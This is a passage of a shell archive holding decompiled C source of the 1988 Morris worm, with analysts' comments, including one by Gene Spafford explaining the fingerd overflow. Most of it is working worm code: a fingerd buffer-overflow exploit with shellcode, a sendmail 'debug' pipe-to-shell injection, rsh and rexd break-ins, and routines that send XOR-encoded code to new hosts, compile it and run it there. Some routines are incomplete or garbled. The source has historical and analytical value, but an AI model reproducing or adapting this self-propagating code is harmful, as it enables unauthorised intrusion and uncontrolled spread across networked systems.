- close(s);
-
- if (connection < 0 && errno == ENETUNREACH)
- error("Network unreachable");
- return connection != -1;
-}
-
-static try_telnet_p(addr) /* x37b2 , checked */
- u_long addr;
-{
- int s, connection; /* 28 */
- struct sockaddr_in sin; /* 16 bytes */
- int (*save_sighand)();
-
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return 0;
- bzero(&sin, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = addr;
- sin.sin_port = IPPORT_TELNET; /* This time try telnet... */
-
- /* Set up a 5 second timeout, break from connect if it fails */
- save_sighand = signal(SIGALRM, justreturn);
- alarm(5);
- connection = connect(s, &sin, sizeof(sin));
- if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refused */
- connection = 0;
- alarm(0); /* Turn off timeout */
-
- close(s);
-
- return connection != -1;
-}
-
-/* Used in hg(), hi(), and hi_84(). */
-static try_rsh_and_mail(host) /* x3884, */
- struct hst *host;
-{
- int fd1, fd2, result;
-
- if (host == me)
- return 0; /* 1476 */
- if (host->flag & 0x02)
- return 0;
- if (host->flag & 0x04)
- return 0;
- if (host->o48[0] == 0 || host->hostname == NULL)
- getaddrs(host);
- if (host->o48[0] == 0) {
- host->flag |= 0x04;
- return 0;
- }
- other_sleep(1);
- if (host->hostname && /* 1352 */
- fork_rsh(host->hostname, &fd1, &fd2,
- XS("exec /bin/sh"))) { /* */
- result = talk_to_sh(host, fd1, fd2);
- close(fd1);
- close(fd2);
- /* Prevent child from hanging around in the state */
- wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
- if (result != 0)
- return result;
- }
-
- if (try_finger(host, &fd1, &fd2)) { /* 1440 */
- result = talk_to_sh(host, fd1, fd2);
- close(fd1);
- close(fd2);
- if (result != 0)
- return result;
- }
- if (try_mail(host))
- return 1;
-
- host->flag |= 4;
- return 0;
-}
-
-
-/* Check a2in() as it is updated */
-/* Used in twice in try_rsh_and_mail(), once in hu1(). */
-static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed */
- struct hst *host;
- int fdrd, fdwr;
-{
- object *objectptr;
- char send_buf[512]; /* l516 */
- char print_buf[52]; /* l568 */
- int l572, l576, l580, l584, l588, l592;
-
- objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */
-
- if (objectptr == NULL)
- return 0; /* */
- if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
- return 0;
- send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
- send_text(fdwr, XS("cd /usr/tmp\n"));
- l576 = random() % 0x00FFFFFF;
-
- sprintf(print_buf, XS("x%d.c"), l576);
- /* The 'sed' script just puts the EOF on the transmitted program. */
- sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"),
- print_buf);
-
- send_text(fdwr, send_buf);
-
- wait_for(fdrd, XS("gorch49"), 10);
-
- xorbuf(objectptr->buf, objectptr->size);
- l572 = write(fdwr, objectptr->buf, objectptr->size);
- xorbuf(objectptr->buf, objectptr->size);
-
- if (l572 != objectptr->size) {
- close(l588);
- return 0; /* to */
- }
- send_text(fdwr, XS("int zz;\n\n"));
- wait_for(fdrd, XS("gorch50"), 30);
-
-#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
- sprintf(send_buf, XS(COMPILE), l576, l576, l576,
- inet_ntoa(a2in(l592)), l580, l584, l576, l576);
-
-
- send_text(fdwr, send_buf);
-
- if (wait_for(fdrd, XS("DONE"), 100) == 0) {
- close(l588);
- return 0; /* */
- }
- return waithit(host, l592, l580, l584, l588);
-}
-
-makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */
- struct hst *arg8;
- int *arg12, *arg16, *arg20, *arg24;
-{
- int s, i, namelen;
- struct sockaddr_in sin0, sin1; /* 16 bytes */
-
- *arg20 = random() & 0x00ffffff;
- bzero(&sin1, sizeof(sin1));
- sin1.sin_addr.s_addr = me->l12;
-
- for (i= 0; i < 6; i++) { /* 64, 274 */
- if (arg8->o48[i] == NULL)
- continue; /* 266 */
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return 0; /* 470 */
- bzero(&sin0, sizeof(sin0));
- sin0.sin_family = AF_INET;
- sin0.sin_port = IPPORT_TELNET;
- sin0.sin_addr.s_addr = arg8->o48[i];
- errno = 0;
- if (connect(s, &sin0, sizeof(sin0)) != -1) {
- namelen = sizeof(sin1);
- getsockname(s, &sin1, &namelen);
- close(s);
- break;
- }
- close(s);
- }
-
- *arg12 = sin1.sin_addr.s_addr;
-
- for (i = 0; i < 1024; i++) { /* 286,466 */
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return 0; /* 470 */
- bzero(&sin0, sizeof(sin0));
- sin0.sin_family = AF_INET;
- sin0.sin_port = random() % 0xffff;
- if (bind(s, &sin0, sizeof(sin0)) != -1) {
- listen(s, 10);
- *arg16 = sin0.sin_port;
- *arg24 = s;
- return 1;
- }
- close(s);
- }
-
- return 0;
-}
-
-/* Check for somebody connecting. If there is a connection and he has the right
- * key, send out the
- * a complete set of encoded objects to it. */
-
-waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */
- struct hst *host;
-{
- int (*save_sighand)();
- int l8, sin_size, l16, i, l24, l28;
- struct sockaddr_in sin; /* 44 */
- object *obj;
- char files[20][128]; /* File list, 2608 */
- char *l2612;
- char strbuf[512];
-
- save_sighand = signal(SIGPIPE, justreturn);
-
- sin_size = sizeof(sin);
- alarm(2*60);
- l8 = accept(arg4, &sin, &sin_size);
- alarm(0);
-
- if (l8 < 0)
- goto quit; /* 1144 */
- if (xread(l8, &l16, sizeof(l16), 10) != 4)
- goto quit;
- l16 = ntohl(l16);
- if (key != l16)
- goto quit;
- for (i = 0; i < nobjects; i++) { /* 164,432 */
- obj = &objects[i];
- l16 = htonl(obj->size);
- write(l8, &l16, sizeof(l16));
- sprintf(files[i], XS("x%d,%s"),
- (random()&0x00ffffff), obj->name);
- write(l8, files[i], sizeof(files[0]));
- xorbuf(obj->buf, obj->size);
- l24 = write(l8, obj->buf, obj->size);
- xorbuf(obj->buf, obj->size);
- if (l24 != obj->size)
- goto quit;
- }
-
- /* Get rid of my client's key, and tell him the list has ended. */
- l16 = -1;
- if (write(l8, &l16, sizeof(l16)) != 4)
- goto quit;
-
- /* Don't run up the load average too much... */
- sleep(4);
-
- if (test_connection(l8, l8, 30) == 0)
- goto quit;
- send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
- send_text(l8, XS("rm -f sh\n"));
-
- sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
- random()&0x00ffffff);
- send_text(l8, strbuf);
-
- for (i = 0; i < nobjects; i++) { /* 636,1040 */
- if ((l2612 = index(files[i], '.')) == NULL ||
- l2612[1] != 'o')
- continue;
- sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
- send_text(l8, strbuf);
- if (test_connection(l8, l8, 30) == 0)
- goto quit; /* 1144 */
- sprintf(strbuf, XS("./$P -p $$ "));
- for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */
- strcat(strbuf, files[l28]);
- strcat(strbuf, XS(" "));
- }
- strcat(strbuf, XS("\n"));
- send_text(l8, strbuf);
- if (test_connection(l8, l8, 10) == 0) {
- close(l8);
- close(arg4);
- host->flag |= 2;
- return 1; /* 1172 */
- }
- send_text(l8, XS("rm -f $P\n"));
- }
-
- for (i = 0; i < nobjects; i++) { /* 1044,1122 */
- sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
- send_text(l8, strbuf);
- }
- test_connection(l8, l8, 5);
- quit:
- close(l8);
- close(l24);
- return 0;
-}
-
-/* Only called from within mail */
-static compile_slave(host, s, arg16, arg20, arg24) /* x431e, */
- struct hst host;
-{
- object *obj;
- char buf[512]; /* 516 */
- char cfile[56]; /* 568 */
- int wr_len, key; /* might be same */
-
- obj = getobjectbyname(XS("l1.c"));
- if (obj == NULL)
- return 0; /* 1590 */
- send_text(s, XS("cd /usr/tmp\n"));
-
- key = (random() % 0x00ffffff);
- sprintf(cfile, XS("x%d.c"), key);
- sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
- send_text(s, buf);
-
- xorbuf(obj->buf, obj->size);
- wr_len = write(s, obj->buf, obj->size);
- xorbuf(obj->buf, obj->size);
-
- if (wr_len != obj->size)
- return 0;
- send_text(s, XS("EOF\n"));
-
- sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
- key, key, key,
- inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
- return send_text(s, buf);
-}
-
-static send_text(fd, str) /* 0x44c0, */
- char *str;
-{
- write(fd, str, strlen(str));
-}
-
-/* Used in try_rsh_and_mail(). */
-static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, */
- char *host;
- int *fdp1, *fdp2;
- char *str;
-{
- int child; /* 4 */
- int fildes[2]; /* 12 */
- int fildes1[2]; /* 20 */
- int fd;
-
- if (pipe(fildes) < 0)
- return 0;
- if (pipe(fildes1) < 0) {
- close(fildes[0]);
- close(fildes[1]);
- return 0;
- }
-
- child = fork();
- if (child < 0) { /* 1798 */
- close(fildes[0]);
- close(fildes[1]);
- close(fildes1[0]);
- close(fildes1[1]);
- return 0;
- }
- if (child == 0) { /* 2118 */
- for (fd = 0; fd < 32; fd++)
- if (fd != fildes[0] &&
- fd != fildes1[1] &&
- fd != 2)
- close(fd);
- dup2(fildes[0], 0);
- dup2(fildes[1], 1);
- if (fildes[0] > 2)
- close(fildes[0]);
- if (fildes1[1] > 2)
- close(fildes1[1]);
- /* 'execl()' does not return if it suceeds. */
- execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
- execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
- execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
- exit(1);
- }
- close(fildes[0]);
- close(fildes1[1]);
- *fdp1 = fildes1[0];
- *fdp2 = fildes[1];
-
- if (test_connection(*fdp1, *fdp2, 30))
- return 1; /* Sucess!!! */
- close(*fdp1);
- close(*fdp2);
- kill(child, 9);
- /* Give the child a chance to die from the signal. */
- sleep(1);
- wait3(0, WNOHANG, 0);
- return 0;
-}
-
-static test_connection(rdfd, wrfd, time) /* x476c, */
- int rdfd, wrfd, time;
-{
- char combuf[100], numbuf[100];
-
- sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
- sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
- send_text(wrfd, combuf);
- return wait_for(rdfd, numbuf, time);
-}
-
-static wait_for(fd, str, time) /* */
- int fd, time;
- char *str;
-{
- char buf[512];
- int i, length;
-
- length = strlen(str);
- while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
- for(i = 0; buf[i]; i++) {
- if (strncmp(str, &buf[i], length) == 0)
- return 1;
- }
- }
- return 0;
-}
-
-/* Installed as a signal handler */
-justreturn(sig, code, scp) /* 0x4872 */
- int sig, code;
- struct sigcontext *scp;
-{
- alarmed = 1;
-}
-
-static x488e(fd, buf, num_chars, maxtime)
- int fd, num_chars, maxtime;
- char *buf;
-{
-
- int i, l8, readfds;
- struct timeval timeout;
-
- for (i = 0; i < num_chars; i++) { /* 46,192 */
- readfds = 1 << fd;
- timeout.tv_usec = maxtime;
- timeout.tv_sec = 0;
- if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
- return 0;
- if (readfds == 0)
- return 0;
- if (read(fd, &buf[i], 1) != 1)
- return 0;
- if (buf[i] == '\n')
- break;
- }
- buf[i] = '\0';
- if (i > 0 && l8 > 0)
- return 1;
- return 0;
-}
-
-/* This doesn't appear to be used anywhere??? */
-static char *movstr(arg0, arg1) /* 0x4958, */
- char *arg0, *arg1;
-{
- arg1[0] = '\0';
- if (arg0 == 0)
- return 0;
- while( ! isspace(*arg0))
- arg0++;
-
- if (*arg0 == '\0')
- return 0;
- while(*arg0) {
- if (isspace(*arg0)) break;
- *arg1++ = *arg0++;
- }
- *arg1 = '\0';
- return arg0;
-}
-
-/*
-From Gene Spafford
-What this routine does is actually kind of clever. Keep in
-mind that on a Vax the stack grows downwards.
-
-fingerd gets its input via a call to gets, with an argument
-of an automatic variable on the stack. Since gets doesn't
-have a bound on its input, it is possible to overflow the
-buffer without an error message. Normally, when that happens
-you trash the return stack frame. However, if you know
-where everything is on the stack (as is the case with a
-distributed binary like BSD), you can put selected values
-back in the return stack frame.
-
-This is what that routine does. It overwrites the return frame
-to point into the buffer that just got trashed. The new code
-does a chmk (change-mode-to-kernel) with the service call for
-execl and an argument of "/bin/sh". Thus, fingerd gets a
-service request, forks a child process, tries to get a user name
-and has its buffer trashed, does a return, exec's a shell,
-and then proceeds to take input off the socket -- from the
-worm on the other machine. Since many sites never bother to
-fix fingerd to run as something other than root.....
-
-Luckily, the code doesn't work on Suns -- it just causes it
-to dump core.
-
---spaf
-
-*/
-
-/* This routine exploits a fixed 512 byte input buffer in a VAX running
- * the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
- * overwrite six extra words in the stack frame, including the return
- * PC, to point into the middle of the string sent over. The instructions
- * in the string do the direct system call version of execve("/bin/sh"). */
-
-static try_finger(host, fd1, fd2) /* 0x49ec,o48[i] == 0)
- continue; /* 600 */
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- continue;
- bzero(&sin, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = host->o48[i];
- sin.sin_port = IPPORT_FINGER;
-
- alarm(10);
- if (connect(s, &sin, sizeof(sin)) < 0) {
- alarm(0);
- close(s);
- continue;
- }
- alarm(0);
- break;
- }
- if (i >= 6)
- return 0; /* 978 */
- for(i = 0; i < 536; i++) /* 628,654 */
- buf[i] = '\0';
- for(i = 0; i < 400; i++)
- buf[i] = 1;
- for(j = 0; j < 28; j++)
- buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j]; /* constant string x200a0 */
-
- /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
- /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
-
- l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */
- l560 = 0x7fffe8a8;
- l564 = 0x7fffe8bc;
- l568 = 0x28000000;
- l552 = 0x0001c020;
-
-#ifdef sun
- l556 = byte_swap(l556); /* Reverse the word order for the */
- l560 = byte_swap(l560); /* VAX (only Suns have to do this) */
- l564 = byte_swap(l564);
- l568 = byte_swap(l568);
- l552 = byte_swap(l552);
-#endif sun
-
- write(s, buf, sizeof(buf)); /* sizeof == 536 */
- write(s, XS("\n"), 1);
- sleep(5);
- if (test_connection(s, s, 10)) {
- *fd1 = s;
- *fd2 = s;
- return 1;
- }
- close(s);
- return 0;
-}
-
-static byte_swap(arg) /* 0x4c48,> 8;
- j++;
- }
- return i;
-}
-
-permute(ptr, num, size) /* 0x4c9a */
- char *ptr;
- int num, size;
-{
- int i, newloc;
- char buf[512];
-
- for (i = 0; i < num*size; i+=size) { /* 18,158 */
- newloc = size * (random() % num);
- bcopy(ptr+i, buf, size);
- bcopy(ptr+newloc, ptr+i, size);
- bcopy(buf, ptr+newloc, size);
- }
-}
-
-
-/* Called from try_rsh_and_mail() */
-static try_mail(host) /* x4d3c */
- struct hst *host;
-{
- int i, l8, l12, l16, s;
- struct sockaddr_in sin; /* 16 bytes */
- char l548[512];
- int (*old_handler)();
- struct sockaddr saddr; /* Not right */
- int fd_tmp; /* ??? part of saddr */
-
- if (makemagic(host, &saddr) == 0)
- return 0; /* */
- old_handler = signal(SIGALRM, justreturn);
- for( i = 0; i < 6; i++) { /* to 430 */
- if (host->o48[i] == NULL)
- continue; /* to 422 */
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- continue; /* to 422 */
-
- bzero(&sin, sizeof(sin)); /* 16 */
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = host->o48[i];
- sin.sin_port = IPPORT_SMTP;
-
- alarm(10);
- if (connect(s, &sin, sizeof(sin)) < 0) {
- alarm(0);
- close(s);
- continue; /* to 422 */
- }
- alarm(0);
- break;
- }
-
- if (i < 6)
- return 0; /* 1054 */
- if (x50bc( s, l548) != 0 || l548[0] != '2')
- goto bad;
-
- send_text(s, XS("debug")); /* "debug" */
- if (x50bc( s, l548) != 0 || l548[0] != '2')
- goto bad;
-
-#define MAIL_FROM "mail from:\n"
-#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
-
- send_text(s, XS(MAIL_FROM));
- if (x50bc( s, l548) != 0 || l548[0] != '2')
- goto bad;
- i = (random() & 0x00FFFFFF);
-
- sprintf(l548, XS(MAIL_RCPT), i, i);
- send_text(s, l548);
- if (x50bc( s, l548) != 0 || l548[0] != '2')
- goto bad;
-
- send_text(s, XS("data\n"));
- if (x50bc( s, l548) == 0 || l548[0] != '3')
- goto bad;
-
- send_text(s, XS("data\n"));
-
- compile_slave(host, s, saddr);
-
- send_text(s, XS("\n.\n"));
-
- if (x50bc( s, l548) == 0 || l548[0] != '2') {
- close(fd_tmp); /* This isn't set yet!!! */
- goto bad;
- }
-
- send_text(s, XS("quit\n"));
- if (x50bc( s, l548) == 0 || l548[0] != '2') {
- close(fd_tmp); /* This isn't set yet!!! */
- goto bad;
- }
-
- close(s);
- return waithit(host, saddr);
- bad:
- send_text(s, XS("quit\n"));
- x50bc(s, l548);
- close(s);
- return 0;
-}
-
-/* Used only in try_mail() above. This fills buffer with a line of the response */
-static x50bc(s, buffer) /* x50bc, */
- int s; /* socket */
- char *buffer;
-{
- /* Fill in exact code later. It's pretty boring. */
-}
-
-
-/* I call this "huristic 1". It tries to breakin using the remote execution
- * service. It is called from a subroutine of cracksome_1 with information from
- * a user's .forword file. The two name are the original username and the one
- * in the .forward file.
- */
-hu1(alt_username, host, username2) /* x5178 */
- char *alt_username, *username2;
- struct hst *host;
-{
- char username[256];
- char buffer2[512];
- char local[8];
- int result, i, fd_for_sh; /* 780, 784, 788 */
-
- if (host == me)
- return 0; /* 530 */
- if (host->flag & HST_HOSTTWO) /* Already tried ??? */
- return 0;
-
- if (host->o48[0] || host->hostname == NULL)
- getaddrs(host);
- if (host->o48[0] == 0) {
- host->flag |= HST_HOSTFOUR;
- return 0;
- }
- strncpy(username, username2, sizeof(username)-1);
- username[sizeof(username)-1] = '\0';
-
- if (username[0] == '\0')
- strcpy(username, alt_username);
-
- for (i = 0; username[i]; i++)
- if (ispunct(username[i]) || username[i] < ' ')
- return 0;
- other_sleep(1);
-
- fd_for_sh = x538e(host, username, &alt_username[30]);
- if (fd_for_sh >= 0) {
- result = talk_to_sh(host, fd_for_sh, fd_for_sh);
- close(fd_for_sh);
- return result;
- }
- if (fd_for_sh == -2)
- return 0;
-
- fd_for_sh = x538e(me, alt_username, &alt_username[30]);
- if (fd_for_sh >= 0) {
- sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
- host->hostname, username);
- send_text(fd_for_sh, buffer2);
- sleep(10);
- result = 0;
- if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */
- result = talk_to_sh(host, fd_for_sh, fd_for_sh);
- close(fd_for_sh);
- return result;
- }
- return 0;
-}
-
-/* Used in hu1. Returns a file descriptor. */
-/* It goes through the six connections in host trying to connect to the
- * remote execution server on each one.
- */
-static int x538e(host, name1, name2)
- struct hst *host;
- char *name1, *name2;
-{
- int s, i;
- struct sockaddr_in sin; /* 16 bytes */
- int l6, l7;
- char in_buf[512];
-
- for (i = 0; i < 6; i++) { /* 552,762 */
- if (host->o48[i] == 0)
- continue; /* 754 */
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- continue;
-
- bzero(&sin, sizeof(sin)); /* 16 */
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = host->o48[i];
- sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */
-
- alarm(8);
- signal(SIGALRM, justreturn);
- if (connect(s, &sin, sizeof(sin)) < 0) {
- alarm(0);
- close(s);
- continue;
- }
- alarm(0);
- break;
- }
- if (i >= 6)
- return -2; /* 1048 */
- /* Check out the connection by writing a null */
- if (write(s, XS(""), 1) == 1) {
- /* Tell the remote execution deamon the hostname, username, and to startup
- "/bin/sh". */
- write(s, name1, strlen(name1) + 1);
- write(s, name2, strlen(name2) + 1);
- if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
- xread(s, in_buf, 1, 20) == 1 &&
- in_buf[0] == '\0' &&
- test_connection(s, s, 40) != 0)
- return s;
- }
- close(s);
- return -1;
-}
-
-/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful,
- * 0 if not. */
-loadobject(obj_name) /* x5594 */
- char *obj_name;
-{
- int fd;
- unsigned long size;
- struct stat statbuf;
- char *object_buf, *suffix;
- char local[4];
-
- fd = open(obj_name, O_RDONLY);
- if (fd < 0)
- return 0; /* 378 */
- if (fstat(fd, &statbuf) < 0) {
- close(fd);
- return 0;
- }
- size = statbuf.st_size;
- object_buf = malloc(size);
- if (object_buf == 0) {
- close(fd);
- return 0;
- }
- if (read(fd, object_buf, size) != size) {
- free(object_buf);
- close(fd);
- return 0;
- }
- close(fd);
- xorbuf(object_buf, size);
- suffix = index(obj_name, ',');
- if (suffix != NULL)
- suffix+=1;
- else
- suffix = obj_name;
- objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
- objects[nobjects].size = size;
- objects[nobjects].buf = object_buf;
- nobjects += 1;
- return 1;
-}
-
-/* Returns the object from the 'objects' array that has name, otherwise NULL. */
-object *getobjectbyname(name)
- char *name;
-{
- int i;
-
- for (i = 0; i < nobjects; i++)
- if (strcmp(name, objects[i].name) == 0)
- return &objects[i];
- return NULL;
-}
-
-/* Encodes and decodes the binary coming over the socket. */
-xorbuf(buf, size) /* 0x577e */
- char *buf;
- unsigned long size;
-{
- char *addr_self; /* The address of the xorbuf fuction */
- int i;
-
- addr_self = (char *)xorbuf;
- i = 0;
- while (size-- > 0) {
- *buf++ ^= addr_self[i];
- i = (i+1) % 10;
- }
- return;
-}
-
-
-static other_fd = -1;
-
-/* Make a connection to the local machine and see if I'm running in
- another process by sending a magic number on a random port and waiting
- five minutes for a reply. */
-checkother() /* 0x57d0 */
-{
- int s, l8, l12, l16, optval;
- struct sockaddr_in sin; /* 16 bytes */
-
- optval = 1;
- if ((random() % 7) == 3)
- return; /* 612 */
-
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return;
-
- /* Make a socket to the localhost, using a link-time specific port */
- bzero(&sin, sizeof(sin)); /* 16 */
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* */
- sin.sin_port = 0x00005b3d; /* ??? */
-
- if (connect(s, &sin, sizeof(sin)) < 0) {
- close(s);
- } else {
- l8 = MAGIC_2; /* Magic number??? */
- if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
- close(s);
- return;
- }
- l8 = 0;
- if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
- close(s);
- return;
- }
- if (l8 != MAGIC_1) {
- close(s);
- return;
- }
-
- l12 = random()/8;
- if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
- close(s);
- return;
- }
-
- if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
- close(s);
- return;
- }
-
- if (!((l12+l16) % 2))
- pleasequit++;
- close(s);
- }
- sleep(5);
-
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return;
-
- /* Set the socket so that the address may be reused */
- setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
- if (bind(s, &sin, sizeof(sin)) < 0) {
- close(s);
- return;
- }
- listen(s, 10);
-
- other_fd = s;
- return;
-}
-
-/* Sleep, waiting for another worm to contact me. */
-other_sleep(how_long) /* 0x5a38 */
-{
- int nfds, readmask;
- long time1, time2;
- struct timeval timeout;
-
- if (other_fd < 0) {
- if (how_long != 0)
- sleep(how_long);
- return;
- }
- /* Check once again.. */
- do {
- if (other_fd < 0)
- return;
- readmask = 1 << other_fd;
- if (how_long < 0)
- how_long = 0;
-
- timeout.tv_sec = how_long;
- timeout.tv_usec = 0;
-
- if (how_long != 0)
- time(&time1);
- nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
- if (nfds < 0)
- sleep(1);
- if (readmask != 0)
- answer_other();
- if (how_long != 0) {
- time(&time2);
- how_long -= time2 - time1;
- }
- } while (how_long > 0);
- return;
-}
-
-static answer_other() /* 0x5b14 */
-{
- int ns, addrlen, magic_holder, magic1, magic2;
- struct sockaddr_in sin; /* 16 bytes */
-
- addrlen = sizeof(sin);
-
- ns = accept(other_fd, &sin, &addrlen);
-
- if (ns < 0)
- return; /* 620 */
-
- magic_holder = MAGIC_1;
- if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)) {
- close(ns);
- return;
- }
- if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
- close(ns);
- return;
- }
- if (magic_holder != MAGIC_2) {
- close(ns);
- return;
- }
-
- magic1 = random() / 8;
- if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
- close(ns);
- return;
- }
- if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
- close(ns);
- return;
- }
- close(ns);
-
- if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
- return;
-
- if (((magic1+magic2) % 2) != 0) {
- close(other_fd);
- other_fd = -1;
- pleasequit++;
- }
- return;
-}
-
-/* A timeout-based read. */
-xread(fd, buf, length, time) /* 0x5ca8 */
- int fd, time;
- char *buf;
- unsigned long length;
-{
- int i, cc, readmask;
- struct timeval timeout;
- int nfds;
- long time1, time2;
-
- for (i = 0; i < length; i++) { /* 150 */
- readmask = 1 << fd;
- timeout.tv_sec = time;
- timeout.tv_usec = 0;
- if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
- return 0; /* 156 */
- if (readmask == 0)
- return 0;
- if (read(fd, &buf[i], 1) != 1)
- return 0;
- }
- return i;
-}
-
-
-/* These are some of the strings that are encyphed in the binary. The
- * person that wrote the program probably used the Berkeley 'xstr' program
- * to extract and encypher the strings.
- */
-#ifdef notdef
-char environ[50] = "";
-char *sh = "sh";
-char *env52 = "sh"; /* 0x20034, */
-char *env55 = "-p";
-char *env58 = "l1.c";
-char *env63 = "sh";
-char *env66 = "/tmp/.dump";
-char *env77 = "128.32.137.13";
-char *env91 = "127.0.0.1";
-char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */
-char *env125 = "r";
-char *env127 = "%s%s";
-#endif /* notdef*/
-/*
- char *text =
- "default
- 0.0.0.0
- 127.0.0.1
- exec /bin/sh
- l1.c
- PATH=/bin:/usr/bin:/usr/ucb
- cd /usr/tmp
- x%d.c
- echo gorch49;sed '/int zz;/q' > %s;echo gorch50
- gorch49
- int zz;
- gorch50
- cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
- DONE
- x%d,%s
- PATH=/bin:/usr/bin:/usr/ucb
- rm -f sh
- if [ -f sh ]
- then
- P=x%d
- else
- P=sh
- cc -o $P %s
- ./$P -p $$
- rm -f $P
- rm -f %s $P
- l1.c
- cd /usr/tmp
- x%d.c
- cat > %s <<'EOF'
- cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
- /usr/ucb/rsh
- /usr/bin/rsh
- /bin/rsh
- /bin/echo %s
- debug
- mail from:
- rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
- data
- quit
- quit
- exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
- /bin/sh
- /bin/sh
- 127.0.0.1
- 127.0.0.1
- /etc/hosts.equiv
- %.100s
- /.rhosts
- %.200s/.forward
- %.20s%.20s
- %[^ ,]
- %*s %[^ ,]s
- %.200s/.forward
- %.200s/.rhosts
- %s%s
- /usr/dict/words";
- */
-
-/*
- * Local variables:
- * compile-command: "cc -S hs.c"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD hs.c
echo net.c 1>&2
sed 's/^-//' >net.c <<'//GO.SYSIN DD net.c'
-/*****************************************************************************\
-* *
-* File: net.c *
-* Author: Don Becker *
-* Created: Sun Nov 6 20:13:37 1988 *
-* Contents: Network subroutines for the 'worm'. *
-* Copyright 1988 by Donald Becker, redistribution by permission only *
-* *
-******************************************************************************/
-
-#include "worm.h"
-#include
-#include
-#include
-#include
-#include
-#include
-
-/* This is the second of five source files linked together to form the '.o'
- * file distributed with the worm.
- */
-
-if_init() /* 0x254c, check again */
-{
- struct ifconf if_conf;
- struct ifreq if_buffer[12];
- int s, i, num_ifs, j;
- char local[48];
-
- nifs = 0;
- s = socket(AF_INET, SOCK_STREAM, 0);
- if (s < 0)
- return 0; /* if_init+1042 */
- if_conf.ifc_req = if_buffer;
- if_conf.ifc_len = sizeof(if_buffer);
-
- if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
- close(s);
- return 0; /* if_init+1042 */
- }
-
- num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
- for(i = 0; i < num_ifs; i++) { /* if_init+144 */
- for (j = 0; j < nifs; j++)
- /* Oops, look again. This line needs verified. */
- if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)
- break;
- }
-
-}
-
